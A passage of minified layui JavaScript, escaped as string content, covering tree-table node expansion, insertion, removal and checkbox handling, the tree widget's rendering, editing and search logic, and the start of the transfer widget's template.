p[F]=e,n&&!x?(layui.each(f,function(e,t){U({trElem:r.find('tr[lay-data-index=\"'+t.LAY_DATA_INDEX+'\"]').first()},a,n,i,l)}),r.find(f.map(function(e,t,a){return'tr[lay-data-index=\"'+e[B]+'\"]'}).join(\",\")).addClass(\"layui-hide\")):(w=y.treeToFlat(f,p[u.id],s),r.find(w.map(function(e,t,a){return'tr[lay-data-index=\"'+e[B]+'\"]'}).join(\",\")).addClass(\"layui-hide\"));return Y.resize(d),l&&\"loading\"!==p.LAY_ASYNC_STATUS&&(T=c.callback.onExpand,\"function\"===layui.type(T)&&T(d,p,a)),m},l=(p.expandNode=function(e,t){var a,n,i,e=E(e);if(e)return a=(t=t||{}).index,n=t.expandFlag,i=t.inherit,t=t.callbackFlag,e=e.getOptions().elem.next(),U({trElem:e.find('tr[lay-data-index=\"'+a+'\"]').first()},n,i,null,t)},p.expandAll=function(e,t){if(\"boolean\"!==layui.type(t))return i.error(\"expandAll\\u7684\\u5c55\\u5f00\\u72b6\\u6001\\u53c2\\u6570\\u53ea\\u63a5\\u6536true/false\");e=E(e);if(e){var a=e.getOptions(),n=a.tree,a=a.elem.next();if(t)return i.error(\"\\u6682\\u4e0d\\u652f\\u6301\\u5c55\\u5f00\\u5168\\u90e8\");else{e.updateStatus(null,{LAY_EXPAND:!1}),a.find('tbody tr[data-level!=\"0\"]').addClass(\"layui-hide\");t=a.find('tbody tr[data-level=\"0\"]');t.find(\".layui-table-tree-flexIcon\").html(n.view.flexIconClose),t.find(\".layui-table-tree-nodeIcon\").html(n.view.iconClose),p.resize()}}},t.prototype.renderTreeTable=function(e,l,t){var a=this.getOptions(),n=a.elem.next(),i=(n.addClass(\"layui-table-tree\"),a.id),r=a.tree||{},d=(r.data,r.view||{}),a=r.customName||{},o=a.isParent,c=n.attr(\"lay-filter\"),u=this,f=((l=l||0)||(n.find(\".layui-table-body tr:not([data-level])\").attr(\"data-level\",l),layui.each(Y.cache[i],function(e,t){n.find('.layui-table-main tbody tr[data-level=\"0\"]:eq('+e+\")\").attr(\"lay-data-index\",t[B]),n.find('.layui-table-fixed-l tbody tr[data-level=\"0\"]:eq('+e+\")\").attr(\"lay-data-index\",t[B]),n.find('.layui-table-fixed-r tbody tr[data-level=\"0\"]:eq('+e+\")\").attr(\"lay-data-index\",t[B])})),{}),a=a.name,s=r.view.indent||14;layui.each(e.find('td[data-field=\"'+a+'\"]'),function(e,t){var a,n=(t=O(t)).closest(\"tr\"),i=t.children(\".layui-table-cell\");i.hasClass(\"layui-table-tree-item\")||(i.addClass(\"layui-table-tree-item\"),(i=n.attr(\"lay-data-index\"))&&((a=u.getNodeDataByIndex(i))[F]&&(f[i]=!0),i=t.find(\"div.layui-table-cell\").html(),t.find(\"div.layui-table-cell\").html(['<div class=\"layui-inline layui-table-tree-flexIcon\" ','style=\"',\"margin-left: \"+s*l+\"px;\",a[o]||d.showFlexIconIfNotParent?\"\":\" visibility: hidden;\",'\">',r.view.flexIconClose,\"</div>\",'<div class=\"layui-inline layui-table-tree-nodeIcon\">',r.view.showIcon&&(a.icon||r.view.icon||(a[o]?r.view.iconClose:r.view.iconLeaf))||\"\",\"</div>\",i].join(\"\")).find(\".layui-table-tree-flexIcon\").on(\"click\",function(e){layui.stope(e),U({trElem:n},null,null,null,!0)})))}),!1!==t&&layui.each(f,function(e,t){e=n.find('tr[lay-data-index=\"'+e+'\"]');e.find(\".layui-table-tree-flexIcon\").html(r.view.flexIconOpen),U({trElem:e.first()},!0)}),p.formatNumber(i),y.render(null,c)},p.formatNumber=function(e){var n,i,l=E(e);if(l)return n=l.getOptions().elem.next(),i=0,layui.each(l.treeToFlat(Y.cache[e]),function(e,t){var a;layui.isArray(t)||((a=l.getNodeDataByIndex(t.LAY_DATA_INDEX)).LAY_NUM=++i,n.find('tr[lay-data-index=\"'+t.LAY_DATA_INDEX+'\"] .laytable-cell-numbers').html(a.LAY_NUM))}),p},t.prototype.render=function(e){var t=this;t.tableIns=Y[\"reloadData\"===e?\"reloadData\":\"reload\"](t.tableIns.config.id,O.extend(!0,{},t.config)),t.config=t.tableIns.config},t.prototype.reload=function(e,t,a){var n=this;e=e||{},delete n.haveInit,layui.each(e,function(e,t){\"array\"===layui.type(t)&&delete n.config[e]}),n.config=O.extend(t,{},n.config,e,{autoSort:!1}),n.render(a)},p.reloadData=function(){var e=O.extend(!0,[],arguments);return e[3]=\"reloadData\",p.reload.apply(null,e)},function(e,a,n){var i=[];return layui.each(e,function(e,t){\"function\"===layui.type(a)?a(t):O.extend(t,a),i.push(O.extend({},t)),i=i.concat(l(t[n],a,n))}),i}),n=(t.prototype.updateStatus=function(e,t){var a=this.getOptions(),n=a.tree;return e=e||Y.cache[a.id],l(e,t,n.customName.children)},t.prototype.getTableData=function(){var e=this.getOptions();return e.url?Y.cache[e.id]:e.data},p.updateStatus=function(e,t,a){var e=E(e),n=e.getOptions();return a=a||(n.url?Y.cache[n.id]:n.data),e.updateStatus(a,t)},p.sort=function(e){var t,a,n=E(e);n&&(a=(t=n.getOptions()).initSort,t.url||(a.type?t.data=layui.sort(t.data,a.field,\"desc\"===a.type):t.data=layui.sort(t.data,Y.config.indexName),n.initData(t.data),p.reloadData(e)))},function(t){var a=t.config.id,n=E(a),i=t.data=p.getNodeDataByIndex(a,t.index),l=i[B],r=(t.dataIndex=l,t.update);t.update=function(){var e=arguments,e=(O.extend(n.getNodeDataByIndex(l),e[0]),r.apply(this,e));return n.renderTreeTable(t.tr,t.tr.attr(\"data-level\"),!1),e},t.del=function(){p.removeNode(a,i)},t.setRowChecked=function(e){p.setRowChecked(a,{index:i,checked:e})}}),u=(p.updateNode=function(e,a,t){var n,i,l,r,d=E(e);d&&((l=d.getOptions()).tree,l=(n=l.elem.next()).find('tr[lay-data-index=\"'+a+'\"]'),i=l.attr(\"data-index\"),l=l.attr(\"data-level\"),t&&(t=d.getNodeDataByIndex(a,!1,t),r=Y.getTrHtml(e,[t]),layui.each([\"main\",\"fixed-l\",\"fixed-r\"],function(e,t){n.find(\".layui-table-\"+t+' tbody tr[lay-data-index=\"'+a+'\"]').replaceWith(O(r[[\"trs\",\"trs_fixed\",\"trs_fixed_r\"][e]].join(\"\")).attr({\"data-index\":i,\"lay-data-index\":a}))}),d.renderTreeTable(n.find('tr[lay-data-index=\"'+a+'\"]'),l)))},p.removeNode=function(e,t){var a,n,i,l,r=E(e);r&&(l=(i=r.getOptions()).tree,a=i.elem.next(),n=[],i=r.getNodeDataByIndex(\"string\"===layui.type(t)?t:t[B],!1,\"delete\"),t=r.getNodeDataByIndex(i[f]),r.updateCheckStatus(t,!0),t=r.treeToFlat([i],i[l.customName.pid],i[f]),layui.each(t,function(e,t){n.push('tr[lay-data-index=\"'+t[B]+'\"]')}),a.find(n.join(\",\")).remove(),l=r.initData(),layui.each(r.treeToFlat(l),function(e,t){t[h]&&t[h]!==t[B]&&a.find('tr[lay-data-index=\"'+t[h]+'\"]').attr({\"data-index\":t[B],\"lay-data-index\":t[B]})}),layui.each(Y.cache[e],function(e,t){a.find('tr[data-level=\"0\"][lay-data-index=\"'+t[B]+'\"]').attr(\"data-index\",e)}),p.formatNumber(e))},p.addNodes=function(e,t){var a,n,i,l,r,d,o,c,u,f,s,y=E(e);if(y)return u=y.getOptions(),f=u.tree,a=u.elem.next(),s=(t=t||{}).parentIndex,i=t.index,l=t.data,t=t.focus,n=(s=\"number\"===layui.type(s)?s.toString():s)?y.getNodeDataByIndex(s):null,i=\"number\"===layui.type(i)?i:-1,l=O.extend(!0,[],layui.isArray(l)?l:[l]),y.getTableData(),n?(r=f.customName.isParent,f=f.customName.children,n[r]=!0,c=(c=n[f])?(d=c.splice(-1===i?c.length:i),n[f]=c.concat(l,d)):n[f]=l,y.updateStatus(c,function(e){e[r]&&(e[X]=!1)}),f=y.treeToFlat(c),a.find(f.map(function(e){return'tr[lay-data-index=\"'+e[B]+'\"]'}).join(\",\")).remove(),y.initData(),n[X]=!1,n.LAY_ASYNC_STATUS=\"local\",U({trElem:a.find('tr[lay-data-index=\"'+s+'\"]')},!0)):(d=Y.cache[e].splice(-1===i?Y.cache[e].length:i),Y.cache[e]=Y.cache[e].concat(l,d),u.url||(u.page?(c=u.page,u.data.splice.apply(u.data,[c.limit*(c.curr-1),c.limit].concat(Y.cache[e]))):u.data=Y.cache[e]),y.initData(),f=Y.getTrHtml(e,l),o={trs:O(f.trs.join(\"\")),trs_fixed:O(f.trs_fixed.join(\"\")),trs_fixed_r:O(f.trs_fixed_r.join(\"\"))},layui.each(l,function(e,t){o.trs.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":\"0\"}),o.trs_fixed.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":\"0\"}),o.trs_fixed_r.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":\"0\"})}),s=parseInt(l[0][B])-1,c=a.find(L),u=a.find(j),f=a.find(P),-1==s?(c.find('tr[data-level=\"0\"][data-index=\"0\"]').before(o.trs),u.find('tr[data-level=\"0\"][data-index=\"0\"]').before(o.trs_fixed),f.find('tr[data-level=\"0\"][data-index=\"0\"]').before(o.trs_fixed_r)):-1===i?(c.find(\"tbody\").append(o.trs),u.find(\"tbody\").append(o.trs_fixed),f.find(\"tbody\").append(o.trs_fixed_r)):(s=d[0][h],c.find('tr[data-level=\"0\"][data-index=\"'+s+'\"]').before(o.trs),u.find('tr[data-level=\"0\"][data-index=\"'+s+'\"]').before(o.trs_fixed),f.find('tr[data-level=\"0\"][data-index=\"'+s+'\"]').before(o.trs_fixed_r)),layui.each(Y.cache[e],function(e,t){a.find('tr[data-level=\"0\"][lay-data-index=\"'+t[B]+'\"]').attr(\"data-index\",e)}),y.renderTreeTable(a.find(l.map(function(e,t,a){return'tr[lay-data-index=\"'+e[B]+'\"]'}).join(\",\")))),y.updateCheckStatus(n,!0),p.resize(e),t&&a.find(L).find('tr[lay-data-index=\"'+l[0][B]+'\"]').get(0).scrollIntoViewIfNeeded(),l},p.checkStatus=function(e){var t,a;if(E(e))return t=p.getData(e,!0).filter(function(e,t,a){return e[Y.config.checkName]}),a=!0,layui.each(Y.cache[e],function(e,t){if(!t[Y.config.checkName])return!(a=!1)}),{data:t,isAll:a}},p.on(\"sort\",function(e){var e=e.config,t=e.elem.next(),e=e.id;t.hasClass(\"layui-table-tree\")&&p.sort(e)}),p.on(\"row\",function(e){e.config.elem.next().hasClass(\"layui-table-tree\")&&n(e)}),p.on(\"rowDouble\",function(e){var t=e.config,a=t.elem.next();t.id;a.hasClass(\"layui-table-tree\")&&(n(e),(t.tree||{}).view.dblClickExpand&&U({trElem:e.tr.first()},null,null,null,!0))}),p.on(\"tool\",function(e){var t=e.config,a=t.elem.next();t.id;a.hasClass(\"layui-table-tree\")&&n(e)}),p.on(\"edit\",function(e){var t=e.config,a=t.elem.next();t.id;a.hasClass(\"layui-table-tree\")&&(n(e),e.field===t.tree.customName.name&&(e.tr.find('td[data-field=\"'+e.field+'\"]').children(\"div.layui-table-cell\").removeClass(\"layui-table-tree-item\"),e.update({})))}),p.on(\"radio\",function(e){var t=e.config,a=t.elem.next(),t=t.id,t=E(t);a.hasClass(\"layui-table-tree\")&&(n(e),u.call(t,e.tr,e.checked))}),t.prototype.updateCheckStatus=function(e,t){var a=this.getOptions(),n=(a.tree,a.id),i=a.elem.next(),l=Y.config.checkName,r=(e&&(a=this.updateParentCheckStatus(e,t),layui.each(a,function(e,t){y.render(i.find('tr[lay-data-index=\"'+t[B]+'\"]  input[name=\"layTableCheckbox\"]:not(:disabled)').prop({checked:t[l],indeterminate:t[s]}))})),!0),d=!1;return layui.each(Y.cache[n],function(e,t){(t[l]||t[s])&&(d=!0),t[l]||(r=!1)}),d=d&&!r,y.render(i.find('input[name=\"layTableCheckbox\"][lay-filter=\"layTableAllChoose\"]').prop({checked:r,indeterminate:d})),r},t.prototype.updateParentCheckStatus=function(a,n){var e=this.getOptions(),t=e.tree,e=e.id,i=Y.config.checkName,t=t.customName.children,l=[];return a[s]=!1,n?a[t].length?layui.each(a[t],function(e,t){if(!t[i])return n=!1,a[s]=!0}):n=!1:layui.each(a[t],function(e,t){if(t[i]||t[s])return a[s]=!0}),a[i]=n,l.push(O.extend({},a)),l=a[f]?l.concat(this.updateParentCheckStatus(Y.cache[e][a[f]],n)):l},function(e,t,a){var n=this,i=n.getOptions(),l=i.id,r=i.elem.next(),d=(e.length?e:r).find(\".laytable-cell-radio, .laytable-cell-checkbox\").children(\"input\").last(),o=\"radio\"===d.attr(\"type\");if(a){a=function(){var e=function(e){layui.stope(e)};d.parent().on(\"click\",e),d.next().click(),d.parent().off(\"click\",e)};o?t&&!d.prop(\"checked\")&&a():\"boolean\"===layui.type(t)&&d.prop(\"checked\")===t||a()}else{var c,a=n.getNodeDataByIndex(e.attr(\"data-index\")),u=Y.config.checkName;if(!o)return i.tree.customName.isParent,t=\"boolean\"===layui.type(t)?t:!a[u],o=n.updateStatus(a?[a]:Y.cache[l],function(e){e[Y.config.disabledName]||(e[u]=t,e[s]=!1)}),y.render(r.find(o.map(function(e){return'tr[lay-data-index=\"'+e[B]+'\"] input[name=\"layTableCheckbox\"]:not(:disabled)'}).join(\",\")).prop({checked:t,indeterminate:!1})),a&&a[f]&&(c=n.getNodeDataByIndex(a[f])),n.updateCheckStatus(c,t);a&&(n.updateStatus(null,function(e){e[u]&&(e[u]=!1,y.render(r.find('tr[lay-data-index=\"'+e[B]+'\"] input[type=\"radio\"][lay-type=\"layTableRadio\"]').prop(\"checked\",!1)))}),a[u]=t,y.render(e.find('input[type=\"radio\"][lay-type=\"layTableRadio\"]').prop(\"checked\",t)))}});p.on(\"checkbox\",function(e){var t=e.config,a=t.elem.next(),t=t.id,t=E(t);a.hasClass(\"layui-table-tree\")&&(n(e),a=e.checked,e.isAll=u.call(t,e.tr,a))}),p.setRowChecked=function(e,t){var a,n,i,l,r,d=E(e);d&&(a=d.getOptions().elem.next(),i=(t=t||{}).index,n=t.checked,t=t.callbackFlag,i=\"string\"===layui.type(i)?i:i[B],(l=d.getNodeDataByIndex(i))&&((r=a.find('tr[lay-data-index=\"'+i+'\"]')).length||(p.expandNode(e,{index:l[f],expandFlag:!0}),r=a.find('tr[lay-data-index=\"'+i+'\"]')),u.call(d,r,n,t)))},p.checkAllNodes=function(e,t){var a,e=E(e);e&&(a=e.getOptions().elem.next(),u.call(e,a.find('tr[data-index=\"NONE\"]'),!!t))},p.getData=function(e,t){var a=[];return layui.each(O.extend(!0,[],Y.cache[e]||[]),function(e,t){a.push(t)}),t?E(e).treeToFlat(a):a},o.that={},p.reload=function(e,t,a,n){if(a=!1!==a,E(e).config)return e=E(e),e.reload(t,a,n),o.call(e)},p.render=function(e){e=new t(e);return o.call(e)},e(\"treeTable\",p)});layui.define(\"form\",function(e){\"use strict\";var u=layui.$,i=layui.form,p=layui.layer,n=\"tree\",a={config:{},index:layui[n]?layui[n].index+1e4:0,set:function(e){var i=this;return i.config=u.extend({},i.config,e),i},on:function(e,i){return layui.onevent.call(this,n,e,i)}},t=function(){var i=this,e=i.config,n=e.id||i.index;return t.that[n]=i,{config:t.config[n]=e,reload:function(e){i.reload.call(i,e)},getChecked:function(){return i.getChecked.call(i)},setChecked:function(e){return i.setChecked.call(i,e)}}},y=\"layui-hide\",d=\"layui-disabled\",f=\"layui-tree-set\",C=\"layui-tree-iconClick\",k=\"layui-icon-addition\",v=\"layui-icon-subtraction\",m=\"layui-tree-entry\",x=\"layui-tree-main\",b=\"layui-tree-txt\",g=\"layui-tree-pack\",w=\"layui-tree-spread\",N=\"layui-tree-setLineShort\",T=\"layui-tree-showLine\",L=\"layui-tree-lineExtend\",l=function(e){var i=this;i.index=++a.index,i.config=u.extend({},i.config,a.config,e),i.render()};l.prototype.config={data:[],showCheckbox:!1,showLine:!0,accordion:!1,onlyIconControl:!1,isJump:!1,edit:!1,text:{defaultNodeName:\"\\u672a\\u547d\\u540d\",none:\"\\u65e0\\u6570\\u636e\"}},l.prototype.reload=function(e){var n=this;layui.each(e,function(e,i){\"array\"===layui.type(i)&&delete n.config[e]}),n.config=u.extend(!0,{},n.config,e),n.render()},l.prototype.render=function(){var e=this,i=e.config,n=(e.checkids=[],u('<div class=\"layui-tree'+(i.showCheckbox?\" layui-form\":\"\")+(i.showLine?\" layui-tree-line\":\"\")+'\" lay-filter=\"LAY-tree-'+e.index+'\"></div>')),a=(e.tree(n),i.elem=u(i.elem));if(a[0]){if(e.key=i.id||e.index,e.elem=n,e.elemNone=u('<div class=\"layui-tree-emptyText\">'+i.text.none+\"</div>\"),a.html(e.elem),0==e.elem.find(\".layui-tree-set\").length)return e.elem.append(e.elemNone);i.showCheckbox&&e.renderForm(\"checkbox\"),e.elem.find(\".layui-tree-set\").each(function(){var e=u(this);e.parent(\".layui-tree-pack\")[0]||e.addClass(\"layui-tree-setHide\"),!e.next()[0]&&e.parents(\".layui-tree-pack\").eq(1).hasClass(\"layui-tree-lineExtend\")&&e.addClass(N),e.next()[0]||e.parents(\".layui-tree-set\").eq(0).next()[0]||e.addClass(N)}),e.events()}},l.prototype.renderForm=function(e){i.render(e,\"LAY-tree-\"+this.index)},l.prototype.tree=function(l,e){var r=this,c=r.config,e=e||c.data;layui.each(e,function(e,i){var n=i.children&&0<i.children.length,a=u('<div class=\"layui-tree-pack\" '+(i.spread?'style=\"display: block;\"':\"\")+\"></div>\"),t=u(['<div data-id=\"'+i.id+'\" class=\"layui-tree-set'+(i.spread?\" layui-tree-spread\":\"\")+(i.checked?\" layui-tree-checkedFirst\":\"\")+'\">','<div class=\"layui-tree-entry\">','<div class=\"layui-tree-main\">',c.showLine?n?'<span class=\"layui-tree-iconClick layui-tree-icon\"><i class=\"layui-icon '+(i.spread?\"layui-icon-subtraction\":\"layui-icon-addition\")+'\"></i></span>':'<span class=\"layui-tree-iconClick\"><i class=\"layui-icon layui-icon-file\"></i></span>':'<span class=\"layui-tree-iconClick\"><i class=\"layui-tree-iconArrow '+(n?\"\":y)+'\"></i></span>',c.showCheckbox?'<input type=\"checkbox\" name=\"'+(i.field||\"layuiTreeCheck_\"+i.id)+'\" same=\"layuiTreeCheck\" lay-skin=\"primary\" '+(i.disabled?\"disabled\":\"\")+' value=\"'+i.id+'\">':\"\",c.isJump&&i.href?'<a href=\"'+i.href+'\" target=\"_blank\" class=\"'+b+'\">'+(i.title||i.label||c.text.defaultNodeName)+\"</a>\":'<span class=\"'+b+(i.disabled?\" \"+d:\"\")+'\">'+(i.title||i.label||c.text.defaultNodeName)+\"</span>\",\"</div>\",function(){if(!c.edit)return\"\";var n={add:'<i class=\"layui-icon layui-icon-add-1\"  data-type=\"add\"></i>',update:'<i class=\"layui-icon layui-icon-edit\" data-type=\"update\"></i>',del:'<i class=\"layui-icon layui-icon-delete\" data-type=\"del\"></i>'},a=['<div class=\"layui-btn-group layui-tree-btnGroup\">'];return!0===c.edit&&(c.edit=[\"update\",\"del\"]),\"object\"==typeof c.edit?(layui.each(c.edit,function(e,i){a.push(n[i]||\"\")}),a.join(\"\")+\"</div>\"):void 0}(),\"</div></div>\"].join(\"\"));n&&(t.append(a),r.tree(a,i.children)),l.append(t),t.prev(\".\"+f)[0]&&t.prev().children(\".layui-tree-pack\").addClass(\"layui-tree-showLine\"),n||t.parent(\".layui-tree-pack\").addClass(\"layui-tree-lineExtend\"),r.spread(t,i),c.showCheckbox&&(i.checked&&r.checkids.push(i.id),r.checkClick(t,i)),c.edit&&r.operate(t,i)})},l.prototype.spread=function(a,e){var t=this.config,i=a.children(\".\"+m),n=i.children(\".\"+x),l=i.find(\".\"+C),i=i.find(\".\"+b),r=t.onlyIconControl?l:n,c=\"\";r.on(\"click\",function(e){var i=a.children(\".\"+g),n=(r.children(\".layui-icon\")[0]?r:r.find(\".layui-tree-icon\")).children(\".layui-icon\");i[0]?a.hasClass(w)?(a.removeClass(w),i.slideUp(200),n.removeClass(v).addClass(k)):(a.addClass(w),i.slideDown(200),n.addClass(v).removeClass(k),t.accordion&&((i=a.siblings(\".\"+f)).removeClass(w),i.children(\".\"+g).slideUp(200),i.find(\".layui-tree-icon\").children(\".layui-icon\").removeClass(v).addClass(k))):c=\"normal\"}),i.on(\"click\",function(){u(this).hasClass(d)||(c=a.hasClass(w)?t.onlyIconControl?\"open\":\"close\":t.onlyIconControl?\"close\":\"open\",t.click&&t.click({elem:a,state:c,data:e}))})},l.prototype.setCheckbox=function(e,i,n){this.config;var t,l=n.prop(\"checked\");n.prop(\"disabled\")||(\"object\"!=typeof i.children&&!e.find(\".\"+g)[0]||e.find(\".\"+g).find('input[same=\"layuiTreeCheck\"]').each(function(){this.disabled||(this.checked=l)}),(t=function(e){var i,n,a;e.parents(\".\"+f)[0]&&(n=(e=e.parent(\".\"+g)).parent(),a=e.prev().find('input[same=\"layuiTreeCheck\"]'),l?a.prop(\"checked\",l):(e.find('input[same=\"layuiTreeCheck\"]').each(function(){this.checked&&(i=!0)}),i||a.prop(\"checked\",!1)),t(n))})(e),this.renderForm(\"checkbox\"))},l.prototype.checkClick=function(n,a){var t=this,l=t.config;n.children(\".\"+m).children(\".\"+x).on(\"click\",'input[same=\"layuiTreeCheck\"]+',function(e){layui.stope(e);var e=u(this).prev(),i=e.prop(\"checked\");e.prop(\"disabled\")||(t.setCheckbox(n,a,e),l.oncheck&&l.oncheck({elem:n,checked:i,data:a}))})},l.prototype.operate=function(c,d){var s=this,o=s.config,e=c.children(\".\"+m),h=e.children(\".\"+x);e.children(\".layui-tree-btnGroup\").on(\"click\",\".layui-icon\",function(e){layui.stope(e);var i,e=u(this).data(\"type\"),a=c.children(\".\"+g),t={data:d,type:e,elem:c};if(\"add\"==e){a[0]||(o.showLine?(h.find(\".\"+C).addClass(\"layui-tree-icon\"),h.find(\".\"+C).children(\".layui-icon\").addClass(k).removeClass(\"layui-icon-file\")):h.find(\".layui-tree-iconArrow\").removeClass(y),c.append('<div class=\"layui-tree-pack\"></div>'));var n,l=o.operate&&o.operate(t),r={};if(r.title=o.text.defaultNodeName,r.id=l,s.tree(c.children(\".\"+g),[r]),o.showLine&&(a[0]?(a.hasClass(L)||a.addClass(L),c.find(\".\"+g).each(function(){u(this).children(\".\"+f).last().addClass(N)}),(a.children(\".\"+f).last().prev().hasClass(N)?a.children(\".\"+f).last().prev():a.children(\".\"+f).last()).removeClass(N),!c.parent(\".\"+g)[0]&&c.next()[0]&&a.children(\".\"+f).last().removeClass(N)):(l=c.siblings(\".\"+f),n=1,r=c.parent(\".\"+g),layui.each(l,function(e,i){u(i).children(\".\"+g)[0]||(n=0)}),1==n?(l.children(\".\"+g).addClass(T),l.children(\".\"+g).children(\".\"+f).removeClass(N),c.children(\".\"+g).addClass(T),r.removeClass(L),r.children(\".\"+f).last().children(\".\"+g).children(\".\"+f).last().addClass(N)):c.children(\".\"+g).children(\".\"+f).addClass(N))),!o.showCheckbox)return;h.find('input[same=\"layuiTreeCheck\"]')[0].checked&&(c.children(\".\"+g).children(\".\"+f).last().find('input[same=\"layuiTreeCheck\"]')[0].checked=!0),s.renderForm(\"checkbox\")}else\"update\"==e?(l=h.children(\".\"+b).html(),h.children(\".\"+b).html(\"\"),h.append('<input type=\"text\" class=\"layui-tree-editInput\">'),h.children(\".layui-tree-editInput\").val(l).focus(),i=function(e){var i=(i=e.val().trim())||o.text.defaultNodeName;e.remove(),h.children(\".\"+b).html(i),t.data.title=i,o.operate&&o.operate(t)},h.children(\".layui-tree-editInput\").blur(function(){i(u(this))}),h.children(\".layui-tree-editInput\").on(\"keydown\",function(e){13===e.keyCode&&(e.preventDefault(),i(u(this)))})):p.confirm('\\u786e\\u8ba4\\u5220\\u9664\\u8be5\\u8282\\u70b9 \"<span style=\"color: #999;\">'+(d.title||\"\")+'</span>\" \\u5417\\uff1f',function(e){if(o.operate&&o.operate(t),t.status=\"remove\",p.close(e),!c.prev(\".\"+f)[0]&&!c.next(\".\"+f)[0]&&!c.parent(\".\"+g)[0])return c.remove(),void s.elem.append(s.elemNone);var l,n,i;c.siblings(\".\"+f).children(\".\"+m)[0]?(o.showCheckbox&&(l=function(e){var i,n,a,t;e.parents(\".\"+f)[0]&&(i=e.siblings(\".\"+f).children(\".\"+m),n=(e=e.parent(\".\"+g).prev()).find('input[same=\"layuiTreeCheck\"]')[0],a=1,(t=0)==n.checked&&(i.each(function(e,i){i=u(i).find('input[same=\"layuiTreeCheck\"]')[0];0!=i.checked||i.disabled||(a=0),i.disabled||(t=1)}),1==a&&1==t&&(n.checked=!0,s.renderForm(\"checkbox\"),l(e.parent(\".\"+f)))))})(c),o.showLine&&(e=c.siblings(\".\"+f),n=1,i=c.parent(\".\"+g),layui.each(e,function(e,i){u(i).children(\".\"+g)[0]||(n=0)}),1==n?(a[0]||(i.removeClass(L),e.children(\".\"+g).addClass(T),e.children(\".\"+g).children(\".\"+f).removeClass(N)),(c.next()[0]?i.children(\".\"+f).last():c.prev()).children(\".\"+g).children(\".\"+f).last().addClass(N),c.next()[0]||c.parents(\".\"+f)[1]||c.parents(\".\"+f).eq(0).next()[0]||c.prev(\".\"+f).addClass(N)):!c.next()[0]&&c.hasClass(N)&&c.prev().addClass(N))):(e=c.parent(\".\"+g).prev(),o.showLine?(e.find(\".\"+C).removeClass(\"layui-tree-icon\"),e.find(\".\"+C).children(\".layui-icon\").removeClass(v).addClass(\"layui-icon-file\"),(i=e.parents(\".\"+g).eq(0)).addClass(L),i.children(\".\"+f).each(function(){u(this).children(\".\"+g).children(\".\"+f).last().addClass(N)})):e.find(\".layui-tree-iconArrow\").addClass(y),c.parents(\".\"+f).eq(0).removeClass(w),c.parent(\".\"+g).remove()),c.remove()})})},l.prototype.events=function(){var i=this,t=i.config;i.elem.find(\".layui-tree-checkedFirst\");i.setChecked(i.checkids),i.elem.find(\".layui-tree-search\").on(\"keyup\",function(){var e=u(this),n=e.val(),e=e.nextAll(),a=[];e.find(\".\"+b).each(function(){var i,e=u(this).parents(\".\"+m);-1!=u(this).html().indexOf(n)&&(a.push(u(this).parent()),(i=function(e){e.addClass(\"layui-tree-searchShow\"),e.parent(\".\"+g)[0]&&i(e.parent(\".\"+g).parent(\".\"+f))})(e.parent(\".\"+f)))}),e.find(\".\"+m).each(function(){var e=u(this).parent(\".\"+f);e.hasClass(\"layui-tree-searchShow\")||e.addClass(y)}),0==e.find(\".layui-tree-searchShow\").length&&i.elem.append(i.elemNone),t.onsearch&&t.onsearch({elem:a})}),i.elem.find(\".layui-tree-search\").on(\"keydown\",function(){u(this).nextAll().find(\".\"+m).each(function(){u(this).parent(\".\"+f).removeClass(\"layui-tree-searchShow \"+y)}),u(\".layui-tree-emptyText\")[0]&&u(\".layui-tree-emptyText\").remove()})},l.prototype.getChecked=function(){var e=this.config,i=[],n=[],t=(this.elem.find(\".layui-form-checked\").each(function(){i.push(u(this).prev()[0].value)}),function(e,a){layui.each(e,function(e,n){layui.each(i,function(e,i){if(n.id==i)return delete(i=u.extend({},n)).children,a.push(i),n.children&&(i.children=[],t(n.children,i.children)),!0})})});return t(u.extend({},e.data),n),n},l.prototype.setChecked=function(l){this.config;this.elem.find(\".\"+f).each(function(e,i){var n=u(this).data(\"id\"),a=u(i).children(\".\"+m).find('input[same=\"layuiTreeCheck\"]'),t=a.next();if(\"number\"==typeof l){if(n.toString()==l.toString())return a[0].checked||t.click(),!1}else\"object\"==typeof l&&layui.each(l,function(e,i){if(i.toString()==n.toString()&&!a[0].checked)return t.click(),!0})})},t.that={},t.config={},a.reload=function(e,i){e=t.that[e];return e.reload(i),t.call(e)},a.getChecked=function(e){return t.that[e].getChecked()},a.setChecked=function(e,i){return t.that[e].setChecked(i)},a.render=function(e){e=new l(e);return t.call(e)},e(n,a)});layui.define([\"laytpl\",\"form\"],function(e){\"use strict\";var d=layui.$,n=layui.laytpl,t=layui.form,a=\"transfer\",i={config:{},index:layui[a]?layui[a].index+1e4:0,set:function(e){var t=this;return t.config=d.extend({},t.config,e),t},on:function(e,t){return layui.onevent.call(this,a,e,t)}},l=function(){var t=this,e=t.config,a=e.id||t.index;return l.that[a]=t,{config:l.config[a]=e,reload:function(e){t.reload.call(t,e)},getData:function(){return t.getData.call(t)}}},s=\"layui-hide\",h=\"layui-btn-disabled\",r=\"layui-none\",c=\"layui-transfer-box\",u=\"layui-transfer-header\",o=\"layui-transfer-search\",f=\"layui-transfer-data\",y=function(e){return['<div class=\"layui-transfer-box\" data-index=\"'+(e=e||{}).index+'\">','<div class=\"layui-transfer-header\">','<input type=\"checkbox\" name=\"'+e.checkAllName+'\" lay-filter=\"layTransferCheckbox\" lay-type=\"all\" lay-skin=\"primary\" title=\"{{= d.data.title['+e.index+\"] || 'list\"+(e.index+1)+\"' }}\\\">\",\"</div>\",\"{{# if(d.data.showSearch){ }}\",'<div class=\"layui-transfer-search\">','<i class=\"layui-icon layui-icon-search\"></i>','<input type=\"text\" class=\"layui-input\" placeholder=\"\\u5173\\u952e\\u8bcd\\u641c\\u7d22\">',\"</div>\",\"{{# } }}\",'<ul class=\"layui-transfer-data\"></ul>',\"</div>\"].join(\"\")},p=['<div class=\"layui-transfer layui-form layui-border-box\" lay-filter=\"LAY-transfer-{{= d.index }}\">',y({index:0,checkAllName:\"layTransferLeftCheckAll\"}),'<div class=\"layui-transfer-active\">','<button type=\"button\" class=\"layui-btn layui-btn-sm layui-btn-primary layui-btn-disabled\" data-index=\"0\">','<i class=\"layui-icon layui-icon-next\"></i>',\"</button>\",'<button type=\"button\" class=\"layui-btn layui-btn-sm layui-btn-primary layui-btn-disabled\" data-index=\"1\">','<i class=\"layui-icon 